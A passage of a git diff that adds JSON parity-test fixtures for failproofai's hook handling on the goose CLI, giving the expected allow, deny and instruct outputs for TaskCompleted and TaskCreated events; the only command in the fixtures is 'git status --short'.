"TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8021b519 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..943faeab --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d7d7ffd0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5b9fc740 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a60f2da1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..72653b7b --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..35957cfb --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..19fe8593 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3d072a2c --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..78f0e357 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c7a69834 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..53c67bfb --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a8583697 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4e26811e --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d500487b --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e8855a74 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..418d3e02 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a067c326 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..33656f83 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + 